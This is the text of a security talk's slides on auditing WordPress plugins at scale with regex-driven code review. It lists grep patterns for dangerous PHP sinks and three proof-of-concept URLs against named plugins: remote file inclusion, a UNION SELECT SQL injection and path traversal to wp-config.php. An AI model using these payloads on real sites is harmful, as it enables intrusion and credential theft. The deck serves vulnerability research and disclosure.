Slide 1

Large-scale application security Charlie Eriksen

Slide 2

Slide 3

Slide 4

Slide 5

Slide 6

Agenda Define the problem space Testing and auditing techniques Step 1 Define target Step 2 Understand the target Step 3 Find critical/high-risk code paths to review Step 4 Review and test Step 5 Asses your findings and iterate Future challenges Locating the absence of CSRF protection Real-time alerting

Slide 7

Goals The ability to take a large amount of code and audit it for vulnerabilities Prioritize time spent in an audit based on risk Spend as little time as possible to find as many vulnerabilities as possible

Slide 8

Inspiration

Slide 9

Slide 10

Slide 11

Problem space

Slide 12

Vulnerability classes and mitigation Systematic vulnerabilities Framework Code review Manual/Automatic testing Business/design logic Code review Manual testing

Slide 13

What were not trying to solve Reviewing business logic Pin-point accuracy of vulnerabilities (Not really) reviewing for the absence of Well look at my attempt at reviewing for the absence of CSRF protection later!

Slide 14

Testing techniques White box Black box The sweet spot

Slide 15

White box Black box Pros Not restricted by your discovery phase Gets you straight to where interesting things happen Cons Some code can be too hard to statically analyze Things may hide in plain sight Pros Some parts can be automated Allows you to observe behavior Will uncover the most obvious flaws Cons Uncovering some bugs can be expensive Special code-paths may never be executed

Slide 16

Testing techniques

Slide 17

Audit ROI This is probably true for most companies Large number of applications Lots of legacy Not enough time to audit all thoroughly Consider: What do you not know/Are there risks youre not aware of? What is your vulnerability tolerance? What vulnerabilities have the highest impact? What vulnerabilities are most likely to be discovered?

Slide 18

Audit ROI Hard Easy High Low $$$ Good! Are you google? If not, wasted time/money

Slide 19

Slide 20

Candidate point strategy Fastest way to identify a lot of vulnerabilities Starts with identifying: Points with side effects Known vulnerable patterns Then back-tracing

Slide 21

Slide 22

Step 1 Define target Find a target In-house? Public projects? Plugins! Obtain source code

Slide 23

Wordpress example

Slide 24

Step 2 - Understand the target Learn the language Internalize OWASP top 10 Observe the framework and language Dangerous functions Mitigation techniques Find commonly vulnerable code patterns

Slide 25

PHP/Wordpress important functions A good list exists here for PHP: http://stackoverflow.com/questions/3115559/ex ploitable-php-functions http://stackoverflow.com/questions/3115559/ex ploitable-php-functions Highlights: include/require system/exec/shell_exec eval Wordpress specific: wpdb

Slide 26

Step 3 Find critical/high-risk code paths to review Higher risk code paths is where youll want to spend more time Determine your critical functionality and assets Examples might be: System calls Database access File system access Web-specific things, forms, markup output Encoding(base64) Cryptographic usage(md5!?) These will be our candidate points

Slide 27

Good PHP regexes (include|require).*\$_(POST|GET|REQUEST) file_get_contents.*\$_(POST|GET|REQUEST) (eval|exec|system|shell_exec).*\$_(POST|GET|REQ UEST) SELECT.* FROM.* \$_(POST|GET|REQUEST) (echo|print).*\$_(POST|GET|REQUEST)

Slide 28

Slide 29

Step 4 Review and test Start by casting the net wide on a project As you learn more about it, start being more specific and reduce noise Learn to review code at a glance High risk vulnerabilities are usually easily seen at a glance

Slide 30

Slide 31

Slide 32

Example 1

Slide 33

Example 1 Cryptographic md5\s?\(.*\$_(GET|POST|REQUEST)

Slide 34

Slide 35

Example 1 Cryptographic exploit

Slide 36

Example 2

Slide 37

Example 2 File inclusion (include|require).*\$_(POST|GET|REQUEST)

Slide 38

Slide 39

Example 2 File inclusion /wordpress/wp-content/plugins/zingiri-web- shop/fws/download.php?abspath=ftp://hello:thisisdog@ example.com/

Slide 40

Example 3

Slide 41

Example 3 SQL Injection SELECT.* FROM.* \$_(POST|GET|REQUEST)

Slide 42

Slide 43

Example 3 SQL Injection /wordpress/wp-content/plugins/all-video- gallery/xml/playlist.php?vid=2 UNION SELECT 1, 2, user(), @@version, 5, 6, 7, 8, 9, 10, database(), 12, 13, 14, 15, 16, 17, 18

Slide 44

Example 4

Slide 45

Example 4 File disclosure file_get_contents.*\$_(POST|GET|REQUEST)

Slide 46

Slide 47

Example 4 File disclosure /wordpress/wp-content/plugins/google-document- embedder/libs/pdf.php?fn=lol.pdf&file=../../../../wp- config.php

Slide 48

Step 5 Asses your findings and iterate Steps to take Assess risk Do root cause analysis Consider if there is likely to be more vulnerabilities of this type Find out if there are steps that can be taken to mitigate the class of vulnerability at large Find next steps to improve your ROI Are you coming close to your risk tolerance? Are there still unknowns? Are there other higher-risk areas(ROI?) Have you addressed the most discoverable bugs?

Slide 49

Methodology All vulnerabilities found using this method All vulnerabilities submitted to Secunia SVCRP Sweet program, check it out Data based on their advisories Download numbers pulled manually

Slide 50

Research findings 24 plugins ~2 million downloads 66 vulnerabilities

Slide 51

Downloads

Slide 52

Vulnerabilities

Slide 53

Time to patch 6 advisories without patch 34 days to patch on average

Slide 54

Future challenges Locate the absence of mitigation Simple question: How do you accurately pin- point for the absence of a vulnerability mitigation? Secure by default helps, but cant be assumed

Slide 55

Locating the absence of CSRF protection

Slide 56

Results 30 plugins 14.000.000 downloads

Slide 57

Plugin downloads 455k downloads on average

Slide 58

Future challenges Vulnerability alerting We know how to look for vulnerabilities You have to keep up with current development Reviewing the same code over and over again stops paying off How do we make a machine look for things to review in real-ish time?

Slide 59

Conclusions Intelligent grep use can uncover vulnerabilities Using your understanding of a language and framework serves as a great starting point for code reviews By reviewing critical code-paths for mechanical vulnerabilities, you can cover a lot of ground in short time Systematic vulnerabilities exist and can be uncovered en masse quite trivially Use root cause analysis appropriately and fix the problem rather than the symptom

Slide 60

Bonus example!

Slide 61

array_merge\(.*\$_(POST|GET|REQUEST)

Slide 62

Slide 63

Press button, receive answers www.ceriksen.comwww.ceriksen.com - @charlieeriksen